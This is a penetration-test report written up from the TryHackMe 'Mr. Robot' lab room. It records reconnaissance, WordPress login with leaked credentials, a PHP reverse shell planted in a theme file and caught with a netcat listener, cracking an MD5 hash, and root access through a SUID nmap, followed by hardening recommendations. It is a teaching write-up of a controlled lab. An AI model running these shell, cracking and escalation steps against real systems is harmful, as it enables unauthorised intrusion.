Report Properties

TItle	Mr. Robot
Version	V1
Author	Rajesh Mantri
Pentester	Rajesh Mantri
Reviewed by	Rajesh Mantri

Version Control

Version	Date	Author	Description
V1	27-10-2025	Rajesh Mantri	Final draft

Table of Contents

1. Introduction

This assessment documents a controlled penetration test conducted against a Mr. Robot–themed virtual machine by TryHackMe designed for beginner–intermediate learners.
The purpose of the engagement is to validate the target's security posture by identifying exploitable weaknesses, demonstrating a repeatable path to compromise, and collecting three intentionally hidden keys placed on the system.
Findings focus on actionable evidence and remediation recommendations to reduce risk and improve system hardening.

The report presents a clear, reproducible record of enumeration, exploitation, privilege escalation, and post-exploitation activities leading to root access.

Room Link

https://tryhackme.com/room/mrrobot

2. Objectives

2.1. Executive summary

This operation is a legal, controlled penetration test simulation against a Mr. Robot-themed virtual machine (target) aimed at beginner–intermediate learners. The main goal is to obtain root (administrator) level access on the target and to find the three secret keys that have been hidden on the system.
A clear, reproducible record of the findings will be made so that remediation steps can be put into effect.

2.2. Scope

- **Target:** One single Mr. Robot-themed virtual machine.
- **Allowed activities:** Active reconnaissance, vulnerability discovery, exploitation, privilege escalation, post-exploitation enumeration, and artifact collection on the target VM only.
- **Out of scope**: Systems, networks, or services not authorised explicitly. Social engineering is prohibited, and no attack should be outside the virtual machine environment.

2.3. Measurable objectives

- **Initial Access:** Show a method through which an interactive shell or similar access on the target can be attained.
- **Privilege Escalation**: Get higher privileges, eventually leading to root (UID 0) access.
- **Key Retrieval:** Search the system for the three confidential keys and gather them (each key should be recorded exactly as it is).
- **Evidence & Reproduction**: Present the logs, commands, timestamps, and screenshots (if applicable) that can serve as witnesses and also facilitate reproduction of the steps from enumeration to key retrieval and privilege obtaining.

3. Findings

3.1. System Information

IP address	System Type	OS information	Ports		
			Port#	Protocol	Service Name
10.10.16.134	Server	Apache (Ubuntu Linux)	22	tcp	ssh
			80	tcp	http
			443	tcp	ssl/http

3.2. Nmap Result

```
# nmap -sC -sV -sS -O -T4 10.10.16.134
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-27 16:29 IST
Nmap scan report for 10.10.16.134
Host is up (0.17s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 aa:95:6a:27:a4:2e:7b:2f:a0:6a:c9:0b:d9:3b:be:ac (RSA)
|   256 70:f3:34:15:90:ab:a0:df:c4:c4:c5:57:e7:43:8a:fa (ECDSA)
|_  256 27:d9:1c:de:7c:ce:2f:21:5c:4e:02:05:40:20:2b:71 (ED25519)
80/tcp  open  http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd
```

Here, we observe that the given machine is running an Apache server
We used gobuster to obtain any hidden directories or anything that might be of interest

3.3. Gobuster Result

```
# gobuster dir -u 10.10.16.134 -w /usr/share/wordlists/dirb/common.txt
```

```
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.16.134
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                (Status: 403) [Size: 213]
/.htaccess           (Status: 403) [Size: 218]
/.htpasswd           (Status: 403) [Size: 218]
/0                   (Status: 301) [Size: 0] [--> http://10.10.16.134/0/]
/admin               (Status: 301) [Size: 234] [--> http://10.10.16.134/admin/]
/atom                (Status: 301) [Size: 0] [--> http://10.10.16.134/feed/atom/]
/audio               (Status: 301) [Size: 234] [--> http://10.10.16.134/audio/]
/blog                (Status: 301) [Size: 233] [--> http://10.10.16.134/blog/]
/css                 (Status: 301) [Size: 232] [--> http://10.10.16.134/css/]
/dashboard           (Status: 302) [Size: 0] [--> http://10.10.16.134/wp-admin/]
/favicon.ico         (Status: 200) [Size: 0]
/feed                (Status: 301) [Size: 0] [--> http://10.10.16.134/feed/]
/Image               (Status: 301) [Size: 0] [--> http://10.10.16.134/Image/]
/image               (Status: 301) [Size: 0] [--> http://10.10.16.134/image/]
/images              (Status: 301) [Size: 235] [--> http://10.10.16.134/images/]
/index.html          (Status: 200) [Size: 1188]
/index.php           (Status: 301) [Size: 0] [--> http://10.10.16.134/]
/intro               (Status: 200) [Size: 516314]
/js                  (Status: 301) [Size: 231] [--> http://10.10.16.134/js/]
/license             (Status: 200) [Size: 309]
/login               (Status: 302) [Size: 0] [--> http://10.10.16.134/wp-login.php]
/page1               (Status: 301) [Size: 0] [--> http://10.10.16.134/]
```

```
/phpmyadmin          (Status: 403) [Size: 94]
/rdf                 (Status: 301) [Size: 0] [--> http://10.10.16.134/feed/rdf/]
/readme              (Status: 200) [Size: 64]
/robots              (Status: 200) [Size: 41]
/robots.txt          (Status: 200) [Size: 41]
/rss                 (Status: 301) [Size: 0] [--> http://10.10.16.134/feed/]
/rss2                (Status: 301) [Size: 0] [--> http://10.10.16.134/feed/]
/sitemap             (Status: 200) [Size: 0]
/sitemap.xml         (Status: 200) [Size: 0]
/video               (Status: 301) [Size: 234] [--> http://10.10.16.134/video/]
/wp-admin            (Status: 301) [Size: 237] [--> http://10.10.16.134/wp-admin/]
/wp-config           (Status: 200) [Size: 0]
/wp-content          (Status: 301) [Size: 239] [--> http://10.10.16.134/wp-content/]
/wp-cron             (Status: 200) [Size: 0]
/wp-includes         (Status: 301) [Size: 240] [--> http://10.10.16.134/wp-includes/]
/wp-load             (Status: 200) [Size: 0]
/wp-links-opml       (Status: 200) [Size: 227]
/wp-mail             (Status: 500) [Size: 3025]
/wp-login            (Status: 200) [Size: 2664]
/wp-settings         (Status: 500) [Size: 0]
/wp-signup           (Status: 302) [Size: 0] [--> http://10.10.16.134/wp-login.php?action=register]
/xmlrpc              (Status: 405) [Size: 42]
/xmlrpc.php          (Status: 405) [Size: 42]
===============================================================
Finished
===============================================================
```

4. Methodology

After visiting

http://10.10.16.134/robots.txt

We find our first key
In the form of key-1-of-3.txt
And fsocity.dic

Visited

http://10.10.16.134/license

Result

“What, you do just pull code from [redacted] or some [redacted] Since when did you become a script kitty?”

After inspecting, we get ZWxsa[redacted]
It's an encoded message. We can decode it by using cyberchef.com and using base64 for decoding
We get
e[redacted]:ER28[redacted]
`Username: password`

This username and password can be used to log in to the WordPress webpage.
At http://10.10.16.134/login

We get redirected to a wp-login.php
In the Dashboard > Appearance > Editor, we can actively update the PHP templates

This can result in getting a PHP reverse shell by using netcat.
Using PentestMonkeyReverseShell and updating the PHP

For example, archive.php is modified and can be executed by visiting
http://10.10.16.134/wp-content/themes/twentyfifteen/archive.php

```
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
```

Simultaneously netcat listener is used on port 1234 to listen for any connection

nc -nvlp 1234

```
~/THM/mr.robot> nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.17.64.77] from (UNKNOWN) [10.10.16.134] 56776
Linux ip-10-10-16-134 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64
GNU/Linux
 12:24:25 up  1:29,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
daemon
```

We successfully got a shell,
In /home/robot we get
key-2-of-3.txt
Password.raw-md5

```
$ ls
key-2-of-3.txt
password.raw-md5
```

When we try to view the contents of key-2-of-3.txt we get a permission denied prompt

```
$ cat key-2-of-3.txt
cat: key-2-of-3.txt: Permission denied
```

However, we can view the contents of Password.raw-md5

```
$ cat password.raw-md5
robot:c3fcd3d76192e
```

By using John the Ripper, a brute-force tool, We successfully cracked the hash,

```
~/THM/mr.robot> john -format=raw-md5 -wordlist=/usr/share/wordlists/rockyou.txt pass
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
abc    gh                    (?)
1g 0:00:00:00 DONE (2025-10-27 18:03) 20.00g/s 814080p/s 814080c/s 814080C/s promo2007..teletubbies
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
```

and got the password of the user robot

abc[redacted]gh[redacted]

However, we can't switch users without an interactive shell
By using Python, we successfully got an interactive shell

`python -c 'import pty; pty.spawn("/bin/sh")'`
And succeeded in getting the second key

```
$ cat key-2-of-3.txt
822c739561[redacted]59
```

For the final key, we need root privileges
Using `find / -perm -4000 2>/dev/null`

To find any privilege escalation path

```
$ find / -perm -4000 2>/dev/null
/bin/umount
/bin/mount
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/pkexec
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
```

/usr/local/bin/nmap by using nmap SUID
We succeeded in getting root privileges

```
$ nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
root@ip-10-10-16-134:/tmp# whoami
root
```

And got our final flag

```
root@ip-10-10-16-134:/root# cat key-3-of-3.txt
04787ddef27c3[redacted]
```

5. Recommendations

- **Remove sensitive files from the system, like `Password.raw-md5`**
- **Remove SUID on nmap `chmod u-s /usr/local/bin/nmap`**
- **Disable WordPress file editing**
- **Patch/update OS, Apache/PHP, WordPress core/themes/plugins.**